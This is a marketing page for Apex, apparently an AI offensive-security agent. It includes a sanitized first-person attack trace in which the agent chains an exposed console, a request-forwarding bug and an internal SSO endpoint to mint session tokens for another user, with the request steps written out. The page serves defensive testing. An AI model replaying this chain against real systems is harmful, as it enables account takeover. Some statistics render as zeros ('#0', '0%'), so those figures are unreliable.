Skip to main content

New: Meet Apex, the agent that runs your security program while you sleep

Meet Apex

Find exploitable vulnerabilities. Fix them. Verify they're closed.

Apex is an agentic OffSec engineer that investigates attack paths across code, cloud, dependencies, APIs, and AI systems, then produces the remediation and evidence your team needs to ship safely.

#1 on the HackerOne leaderboard

A live look at what Apex has been finding — real exploit chains, triaged, fixed, and verified.

Apex hacktivity
Critical IDOR → cross-tenant records billing-api $12,000
Critical Auth bypass in OAuth callback sso-gateway $9,500
High SSRF via URL parser webhook-svc $6,000
High RCE via unsafe deserialization upload-cdn $8,200
Medium Stored XSS in markdown render comments $2,500
Critical Privilege escalation via role assume iam $11,000
High Broken object-level authorization graphql $5,500
Medium JWT signature not verified mobile-api $3,000
Critical IDOR → cross-tenant records billing-api $12,000
Critical Auth bypass in OAuth callback sso-gateway $9,500
High SSRF via URL parser webhook-svc $6,000
High RCE via unsafe deserialization upload-cdn $8,200
Medium Stored XSS in markdown render comments $2,500
Critical Privilege escalation via role assume iam $11,000
High Broken object-level authorization graphql $5,500
Medium JWT signature not verified mobile-api $3,000

Traditional AppSec generates work. Apex finishes it.

More scanners haven't fixed AppSec — they've added to it. Every scan creates more findings, more tickets, and more work for already stretched teams.

Every scanner can tell you something might be wrong. Apex investigates what's actually exploitable, writes the fix, opens the pull request, and verifies the remediation.

Traditional AppSec Apex
Starts with a scan Finds an attack path or a known finding
Generates findings Investigates in context
Prioritizes findings Proves exploitability
Creates tickets Opens pull requests
Waits for engineers Ships the fix
Runs another scan Verifies remediation
How Apex works

One workflow, whatever the starting point.

Whether Apex starts with a repository, a pull request, a running application, or an existing finding, it follows the same path: investigate in context, prove what's exploitable, generate the fix, and verify the result.

  1. 01

    Start

    Start with a repository, pull request, running application, or an existing finding from Apex or another tool.

  2. 02

    Investigate

    Apex analyzes the relevant code and connected systems to understand how an attacker could reach the issue.

  3. 03

    Prove

    It validates reachability, attacker-controlled input, and real impact — or explains why the issue isn't exploitable.

  4. 04

    Fix

    Based on your policy, Apex generates the remediation, opens the pull request, recommends containment, or routes for human review.

  5. 05

    Verify

    Apex retests the change and records evidence that the issue has been resolved.

One system

One control plane for application security.

Apex brings code, dependencies, cloud, APIs, secrets, running applications, and AI systems into one place. Instead of stitching together disconnected scanner output, your team works from a single system that surfaces verified vulnerabilities and drives them to resolution.

Prove exploitability

Trace attacker reachability and real impact instead of escalating every theoretical issue.

Close the loop

Generate the remediation, open a pull request where configured, and verify the fix.

One workflow across your attack surface

Apply the same reasoning and policies across code, dependencies, cloud, APIs, AI systems, and runtime.

Keep control

Choose your autonomy level, require approval for consequential actions, and keep every decision logged and attributable.

Coverage

What Apex covers.

The security surface Apex understands, across your code and the systems around it.

Context-aware source review.

Security review that catches what scanners miss — logic flaws, auth bypasses, injection paths — fast enough to keep up with AI-accelerated development.

  • Logic flaws
  • Auth bypasses
  • Injection paths
Ways to run it

How you can use Apex.

Apex meets your code at every stage, from a first look to an outside-in attack. Match the mode to the moment.

White-box source review

A full, context-aware pass over a repository — reasoning across your whole codebase about architecture, trust boundaries, and attacker paths.

Audit scan

A deeper, higher-budget pass with broader hunting and stricter validation for high-risk, trust-boundary-heavy codebases.

PR scan

Catches vulnerabilities in changed code before it merges — reviews the diff in CI and posts checks and comments on the pull request.

Fix review

Ship a fix and let Apex confirm it — retests the original finding against your patch and flags anything the fix may have introduced.

Lite scan

A fast, low-cost pass between deeper reviews, so nothing goes unchecked while you wait on a full audit.

Black-box testing

Attacker's-eye testing of your running web app — real browser and session state to find ATO, IDOR, privilege escalation, and exposed data.

Penetration testing

Expert-led offensive engagements across web, mobile, APIs, and AI systems, backed by proof and a report you can hand to auditors.

CLI and MCP

Run Apex from your terminal, CI pipeline, or coding agent — kick off scans, pull findings, and export results without leaving your workflow.

Proven, not flagged

Open any finding. See the entire attack.

Each finding is a complete, reproducible trace — the working exploit and every decision the agent made to reach it.

Offensive agent · recorded attack trace

Minting signed sessions for a stranger

Critical CVSS 9.6 Validated Auth-boundary breakLow-priv → foreign session

Summary

the reasoning arc
  1. The assigned door was locked.

    I stood up two low-privilege accounts and turned every password, profile, and session writer from one against the other. The self-service change bound to the caller; a 59-variant bypass sweep on the admin password writer returned nothing. The direct takeover path is closed.

  2. So I read the blueprints instead.

    I stopped attacking the lock. An internal monitoring console was left reachable, so I mined its live request stats for the real backend route map — including endpoints the app never calls. One of them is an SSO finalizer meant to be internal-only.

  3. I already had a tunnel.

    I hold a server-side request-forwarding primitive from an earlier finding. I'll use it purely as transport, to reach that loopback-only finalizer from the outside. The forwarding bug is the delivery mechanism, not the finding.

  4. I tested what the finalizer trusts.

    With source set to the trusted internal origin, I hand it a token string I made up. It does not reject it. It returns a genuine product-signed session token whose subject is a pre-existing internal user, not me.

  5. I proved the token was authority, not an echo.

    A short input came back as a 249-character signed token I could not have forged, and three separate protected readers accept it as the foreign user. A second random string mints a fresh token for the same identity — durable and renewable.

  6. I fenced the boundary with controls.

    No token gives “session expired”, a bogus source is rejected, and the same request on the public edge gives 401. The break lives in exactly one trusted branch: the right origin plus any non-empty string.

Traces

captured artifacts, sanitized
01 The assigned path, correctly closed dead end
actor:   low-privilege account A  (attacker)
target:  low-privilege account B  (attacker-controlled stand-in)

PUT /account/profile/update   {id: B, nickname:"CROSS-A"}   -> A changed, B untouched
PUT /account/password/reset   {id: B, password: ...}        -> 403  no permission
   (+ 59 method / path / parser / trusted-header variants)  -> all denied
verify: fresh login as B with original password             -> still works
verdict: credential and profile writers bind to the caller. Dead end.
02 Reading the route map off an exposed console pivot
GET /<monitor>/uri.json
...
/internal/sso/finalize   requests: 3    (never referenced by the app)
/account/register        requests: 78   (hidden self-registration)
/account/profile         requests: 76
...
03 The finalizer trusts the origin string the break
# delivered through the request-forwarding tunnel to the loopback-only endpoint
GET /internal/sso/finalize?source=<trusted-origin>&redirect=0&token=attacker-string-1
Host: <internal-service>

{ "code":200, "msg":"ok", "data":{ "token":"<product-signed JWT, 249 chars>" } }

# the short attacker string is not echoed back; a full signed session returns
04 What the signed token actually claims the break
# decoded payload: the subject is an internal user the attacker never named
{
  "header":  { "alg":"HS256", "typ":"JWT" },
  "loginId": "user:<internal-id>",
  "userId":  "<internal-id>",
  "role":    "default",
  "nonce":   "<32 random chars>"
}
05 Three protected readers accept it proof
# same minted token replayed into three independent authenticated endpoints
GET /account/profile   -> userId <internal-id>, foreign display name, role "default"
GET /session/info      -> same user + full permission set + role list
GET /session/menu      -> the foreign account's authorized menu tree
06 Renewable, and fenced by controls controls
token = "attacker-string-2"   -> new signed token, new nonce, same foreign userId  (renewable)

no token                     -> "session expired"       (readers reject absent auth)
source = bogus               -> "wrong system origin"   (only source=trusted breaks)
same request on public edge  -> 401 not logged in       (privilege is in the internal path)

De-identified. Hosts, endpoints, identifiers, live tokens, and secrets are removed and replaced with neutral placeholders. The attack mechanism is reproduced in full; nothing here identifies the assessed system.

Apex finds what humans and other tools miss.


coverage vs. human security reviews
0% coverage vs. human security reviews
in breaches prevented
$0B+ in breaches prevented
of false positives eliminated
0% of false positives eliminated
on the HackerOne leaderboard
#0 on the HackerOne leaderboard
I was truly impressed by the subtle bugs that Cantina uncovered in an open-source cryptographic repository that I maintain, which had already gone through thorough reviews. Their AI-powered tool acts as a valuable safety net to catch bugs that humans and other tools may have missed.
Arash Afshar Coinbase Cryptography Team

Case studies

All case studies

Security leaders keep asking for the same thing: a platform that helps security operate as a real partner to engineering, not just a team that sends vulnerability tickets. That's the job Apex was built to do.

Hand off your AppSec. For good.

See how Apex reads your codebase, proves what's exploitable, and ships the fix — so your team can ship with confidence and stop thinking about application security.